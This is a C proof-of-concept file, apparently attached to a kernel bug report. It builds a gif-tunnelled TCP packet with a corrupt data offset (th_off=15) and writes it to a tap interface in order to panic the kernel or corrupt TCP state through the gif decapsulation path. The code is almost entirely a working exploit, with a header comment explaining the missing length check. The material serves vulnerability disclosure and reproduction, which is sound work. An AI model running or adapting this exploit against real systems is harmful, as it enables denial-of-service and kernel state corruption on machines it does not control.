DF-3321 / gif_tcp_off15.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | /* * DF-3321 PoC B - the DF-3293-class TCP data-offset corruption primitive, * delivered through the gif(4) decap path instead of gre(4). * * gif_input() clears M_HASH but not M_LENCHECKED, so ip_hashfn() skips * ip_lengthcheck() for the inner packet and th_off is never bounded * against the inner ip_len. tcp_input() then executes * * off = th->th_off << 2; (60) * KASSERT(off >= sizeof(struct tcphdr) && off <= tlen); 60 <= 20 fails * tlen -= off; (negative) * * INVARIANTS kernels: panic "bad TCP data offset 60 (tlen 20)". * Production kernels: tlen = -40 flows into the segment state machine * (DF-3293 documents the consequences: reassembly entries with lying * tqe_len, rcv_nxt regression, panic("tcp_pulloutofband") with TH_URG). * * Setup/build/run: same as gif_ihl15.c (tap0 + gif0 tunnel). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_dl.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> static u_int16_t cksum(const u_int16_t *w, int len) { u_int32_t sum = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const u_char *)w; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)~sum; } int main(void) { /* ether(14) + outer IP(20) + inner IP(20) + inner TCP(20) */ unsigned char pkt[sizeof(struct ether_header) + 20 + 20 + 20]; struct ifreq ifr; struct ether_header *eh; struct ip *oip, *iip; struct tcphdr *th; u_int16_t etype; u_char tapmac[ETHER_ADDR_LEN]; int fd, n; fd = open("/dev/tap0", O_RDWR); if (fd < 0) { perror("open /dev/tap0"); return 1; } { struct sockaddr_dl *sdl; memset(&ifr, 0, sizeof(ifr)); if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { perror("SIOCGIFADDR"); return 1; } sdl = (struct sockaddr_dl *)&ifr.ifr_addr; memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN); } memset(pkt, 0, sizeof(pkt)); eh = (struct ether_header *)pkt; memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN); eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00; eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00; eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02; etype = htons(ETHERTYPE_IP); memcpy(&eh->ether_type, &etype, 2); /* ---- outer IP: proto 4 (IPPROTO_IPV4, gif encap) ---- */ oip = (struct ip *)(pkt + sizeof(struct ether_header)); oip->ip_v = 4; oip->ip_hl = 5; oip->ip_tos = 0; oip->ip_len = htons(20 + 20 + 20); oip->ip_id = htons(1); oip->ip_off = 0; oip->ip_ttl = 64; oip->ip_p = 4; inet_aton("10.99.0.2", &oip->ip_src); inet_aton("10.99.0.1", &oip->ip_dst); oip->ip_sum = 0; oip->ip_sum = cksum((const u_int16_t *)oip, 20); /* ---- inner IP: honest 20-byte header, total 40 ---- */ iip = (struct ip *)(pkt + sizeof(struct ether_header) + 20); iip->ip_v = 4; iip->ip_hl = 5; iip->ip_len = htons(40); iip->ip_ttl = 64; iip->ip_p = IPPROTO_TCP; inet_aton("10.99.0.2", &iip->ip_src); inet_aton("10.99.0.1", &iip->ip_dst); iip->ip_sum = 0; iip->ip_sum = cksum((const u_int16_t *)iip, 20); /* ---- inner TCP: th_off=15 => claims a 60-byte header, but tlen=20 */ th = (struct tcphdr *)((unsigned char *)iip + 20); th->th_sport = htons(40000); th->th_dport = htons(9999); th->th_seq = htonl(1); th->th_ack = htonl(1); th->th_off = 15; /* <== 60 > tlen(20) */ th->th_flags = TH_ACK; th->th_win = htons(8192); th->th_sum = 0; { /* pseudo header (12B) + the 20 bytes actually present */ unsigned char cc[12 + 20]; memset(cc, 0, sizeof(cc)); memcpy(cc + 0, &iip->ip_src, 4); memcpy(cc + 4, &iip->ip_dst, 4); cc[8] = 0; cc[9] = IPPROTO_TCP; cc[10] = 0; cc[11] = 20; /* tcp segment length, network order */ memcpy(cc + 12, th, 20); th->th_sum = cksum((const u_int16_t *)cc, sizeof(cc)); } n = write(fd, pkt, sizeof(pkt)); printf("wrote %d/%d bytes to tap0 (expect panic: " "\"bad TCP data offset 60 (tlen 20)\" in tcp_input via gif decap)\n", n, (int)sizeof(pkt)); if (n < 0) perror("write"); sleep(2); return 0; } |